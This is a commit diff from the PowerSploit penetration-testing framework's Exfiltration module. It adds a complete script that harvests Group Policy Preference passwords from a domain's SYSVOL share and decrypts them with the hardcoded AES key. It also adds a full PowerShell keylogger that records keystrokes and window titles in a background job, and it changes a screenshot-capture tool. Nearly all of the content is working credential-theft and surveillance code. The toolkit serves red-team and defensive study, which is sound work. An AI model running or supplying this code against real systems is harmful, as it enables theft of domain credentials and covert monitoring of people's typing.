aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration
diff options
context:
space:
mode:
Diffstat (limited to 'Exfiltration')
-rw-r--r--Exfiltration/Exfiltration.psd12
-rw-r--r--Exfiltration/Get-GPPPassword.ps1130
-rw-r--r--Exfiltration/Get-Keystrokes.ps1247
-rw-r--r--Exfiltration/Get-TimedScreenshot.ps110
4 files changed, 383 insertions, 6 deletions
diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1
index 7c65566..ef3daec 100644
--- a/Exfiltration/Exfiltration.psd1
+++ b/Exfiltration/Exfiltration.psd1
@@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID =
# List of all files packaged with this module
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
- 'Usage.md'
+ 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1
new file mode 100644
index 0000000..7204a45
--- /dev/null
+++ b/Exfiltration/Get-GPPPassword.ps1
@@ -0,0 +1,130 @@
+function Get-GPPPassword {
+<#
+.SYNOPSIS
+
+ Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
+
+ PowerSploit Function: Get-GPPPassword
+ Author: Chris Campbell (@obscuresec)
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+
+.DESCRIPTION
+
+ Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
+
+.EXAMPLE
+
+ Get-GPPPassword
+
+.LINK
+
+ http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
+ https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
+ http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
+ http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
+#>
+
+ [CmdletBinding()]
+ Param ()
+
+ #define helper function that decodes and decrypts password
+ function Get-DecryptedCpassword {
+ Param (
+ [string] $Cpassword
+ )
+
+ try {
+ #Append appropriate padding based on string length
+ $Mod = ($Cpassword.length % 4)
+ if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))}
+
+ $Base64Decoded = [Convert]::FromBase64String($Cpassword)
+
+ #Create a new AES .NET Crypto Object
+ $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
+ [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
+ 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
+
+ #Set IV to all nulls to prevent dynamic generation of IV value
+ $AesIV = New-Object Byte[]($AesObject.IV.Length)
+ $AesObject.IV = $AesIV
+ $AesObject.Key = $AesKey
+ $DecryptorObject = $AesObject.CreateDecryptor()
+ [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
+
+ return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
+ }
+
+ catch {Write-Error $Error[0]}
+ }
+
+ #ensure that machine is domain joined and script is running as a domain account
+ if (((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False) {throw 'Machine is not joined to a domain.'}
+ if (($Env:USERDNSDOMAIN) -eq $Null) {throw 'Account is not a domain account.'}
+
+ #discover potential files containing passwords
+ $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
+
+ foreach ($File in $XMLFiles) {
+
+ try {
+ $Filename = $File.Name
+ $Filepath = $File.VersionInfo.FileName
+
+ #put filename in $XmlFile
+ [xml] $Xml = Get-Content ($File)
+
+ #declare blank variables
+ $Cpassword = ''
+ $UserName = ''
+ $NewName = ''
+ $Changed = ''
+
+ switch ($Filename) {
+
+ 'Groups.xml' {
+ $Cpassword = $Xml.Groups.User.Properties.cpassword
+ $UserName = $Xml.Groups.User.Properties.userName
+ $NewName = $Xml.Groups.User.Properties.newName
+ $Changed = $Xml.Groups.User.changed
+ }
+
+ 'Services.xml' {
+ $Cpassword = $Xml.NTServices.NTService.Properties.cpassword
+ $UserName = $Xml.NTServices.NTService.Properties.accountName
+ $Changed = $Xml.NTServices.NTService.changed
+ }
+
+ 'Scheduledtasks.xml' {
+ $Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword
+ $UserName = $Xml.ScheduledTasks.Task.Properties.runAs
+ $Changed = $Xml.ScheduledTasks.Task.changed
+ }
+
+ 'DataSources.xml' {
+ $Cpassword = $Xml.DataSources.DataSource.Properties.cpassword
+ $UserName = $Xml.DataSources.DataSource.Properties.username
+ $Changed = $Xml.DataSources.DataSource.changed
+ }
+ }
+
+ if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword}
+
+ else {Write-Verbose "No encrypted passwords found in $Filepath"}
+
+ #Create custom object to output results
+ $ObjectProperties = @{'Password' = $Password;
+ 'UserName' = $UserName;
+ 'Changed' = $Changed;
+ 'NewName' = $NewName
+ 'File' = $Filepath}
+
+ $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
+ Write-Output $ResultsObject
+ }
+
+ catch {Write-Error $Error[0]}
+ }
+}
diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1
new file mode 100644
index 0000000..0698d9d
--- /dev/null
+++ b/Exfiltration/Get-Keystrokes.ps1
@@ -0,0 +1,247 @@
+function Get-Keystrokes {
+<#
+.SYNOPSIS
+
+ Logs keys pressed, time and the active window.
+
+ PowerSploit Function: Get-Keystrokes
+ Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+
+.PARAMETER LogPath
+
+ Specifies the path where pressed key details will be logged. By default, keystrokes are logged to '$($Env:TEMP)\key.log'.
+
+.PARAMETER CollectionInterval
+
+ Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
+
+.EXAMPLE
+
+ Get-Keystrokes -LogPath C:\key.log
+
+.EXAMPLE
+
+ Get-Keystrokes -CollectionInterval 20
+
+.LINK
+
+ http://www.obscuresec.com/
+ http://www.exploit-monday.com/
+#>
+ [CmdletBinding()] Param (
+ [Parameter(Position = 0)]
+ [ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})]
+ [String]
+ $LogPath = "$($Env:TEMP)\key.log",
+
+ [Parameter(Position = 1)]
+ [UInt32]
+ $CollectionInterval
+ )
+
+ Write-Verbose "Logging keystrokes to $LogPath"
+
+ $Initilizer = {
+ $LogPath = 'REPLACEME'
+
+ '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode
+
+ function KeyLog {
+ [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
+
+ try
+ {
+ $ImportDll = [User32]
+ }
+ catch
+ {
+ $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
+ $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
+ $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')
+
+ $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
+ $FieldArray = [Reflection.FieldInfo[]] @(
+ [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
+ [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
+ [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
+ [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
+ [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
+ [Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
+ )
+
+ $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
+ $FieldValueArray = [Object[]] @(
+ 'GetAsyncKeyState',
+ $True,
+ $False,
+ $True,
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto
+ )
+ $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
+ $PInvokeMethod.SetCustomAttribute($CustomAttribute)
+
+ $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
+ $FieldValueArray = [Object[]] @(
+ 'GetKeyboardState',
+ $True,
+ $False,
+ $True,
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto
+ )
+ $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
+ $PInvokeMethod.SetCustomAttribute($CustomAttribute)
+
+ $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
+ $FieldValueArray = [Object[]] @(
+ 'MapVirtualKey',
+ $False,
+ $False,
+ $True,
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto
+ )
+ $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
+ $PInvokeMethod.SetCustomAttribute($CustomAttribute)
+
+ $PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
+ [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
+ $FieldValueArray = [Object[]] @(
+ 'ToUnicode',
+ $False,
+ $False,
+ $True,
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto
+ )
+ $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
+ $PInvokeMethod.SetCustomAttribute($CustomAttribute)
+
+ $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
+ $FieldValueArray = [Object[]] @(
+ 'GetForegroundWindow',
+ $True,
+ $False,
+ $True,
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto
+ )
+ $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
+ $PInvokeMethod.SetCustomAttribute($CustomAttribute)
+
+ $ImportDll = $TypeBuilder.CreateType()
+ }
+
+ Start-Sleep -Milliseconds 40
+
+ try
+ {
+
+ #loop through typeable characters to see which is pressed
+ for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
+ {
+ $VirtualKey = $TypeableChar
+ $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)
+
+ #if the key is pressed
+ if (($KeyResult -band 0x8000) -eq 0x8000)
+ {
+
+ #check for keys not mapped by virtual keyboard
+ $LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
+ $RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
+ $LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
+ $RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
+ $LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
+ $RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
+ $TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
+ $SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
+ $DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
+ $EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
+ $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
+ $LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
+ $RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
+ $UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
+ $DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
+ $LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
+ $RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
+
+ if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
+ if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'}
+ if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'}
+ if ($TabKey) {$LogOutput += '[Tab]'}
+ if ($SpaceBar) {$LogOutput += '[SpaceBar]'}
+ if ($DeleteKey) {$LogOutput += '[Delete]'}
+ if ($EnterKey) {$LogOutput += '[Enter]'}
+ if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
+ if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
+ if ($RightArrow) {$LogOutput += '[Right Arrow]'}
+ if ($UpArrow) {$LogOutput += '[Up Arrow]'}
+ if ($DownArrow) {$LogOutput += '[Down Arrow]'}
+ if ($LeftMouse) {$LogOutput += '[Left Mouse]'}
+ if ($RightMouse) {$LogOutput += '[Right Mouse]'}
+
+ #check for capslock
+ if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}
+
+ $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
+ $KeyboardState = New-Object Byte[] 256
+ $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)
+
+ #create a stringbuilder object
+ $StringBuilder = New-Object -TypeName System.Text.StringBuilder;
+ $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)
+
+ #convert typed characters
+ if ($UnicodeKey -gt 0) {
+ $TypedCharacter = $StringBuilder.ToString()
+ $LogOutput += ('['+ $TypedCharacter +']')
+ }
+
+ #get the title of the foreground window
+ $TopWindow = $ImportDll::GetForegroundWindow()
+ $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
+
+ #get the current DTG
+ $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
+
+ #Create a custom object to store results
+ $ObjectProperties = @{'Key Typed' = $LogOutput;
+ 'Time' = $TimeStamp;
+ 'Window Title' = $WindowTitle}
+ $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
+
+ # Stupid hack since Export-CSV doesn't have an append switch in PSv2
+ $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
+
+ #return results
+ Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
+
+ }
+ }
+ }
+ catch {}
+ }
+ }
+
+ $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))
+
+ Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null
+
+ if ($PSBoundParameters['CollectionInterval'])
+ {
+ $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)
+
+ Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
+ Stop-Job -Name Keylogger
+ Unregister-Event -SourceIdentifier ElapsedAction
+ $Sender.Stop()
+ } | Out-Null
+ }
+
+} \ No newline at end of file
diff --git a/Exfiltration/Get-TimedScreenshot.ps1 b/Exfiltration/Get-TimedScreenshot.ps1
index e1c44d0..c14c723 100644
--- a/Exfiltration/Get-TimedScreenshot.ps1
+++ b/Exfiltration/Get-TimedScreenshot.ps1
@@ -50,7 +50,7 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed
)
#Define helper function that generates and saves screenshot
- Function GenScreenshot {
+ Function Get-Screenshot {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
@@ -86,7 +86,7 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed
[String] $FilePath = (Join-Path $Path $FileName)
#run screenshot function
- GenScreenshot
+ Get-Screenshot
Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds"
@@ -94,8 +94,8 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed
}
#note that this will run once regardless if the specified time as passed
- While ((Get-Date -Format HH:%m) -lt $EndTime)
+ While ((Get-Date -Format HH:mm) -lt $EndTime)
}
- Catch {Write-Warning "$Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage"}
-} \ No newline at end of file
+ Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
+}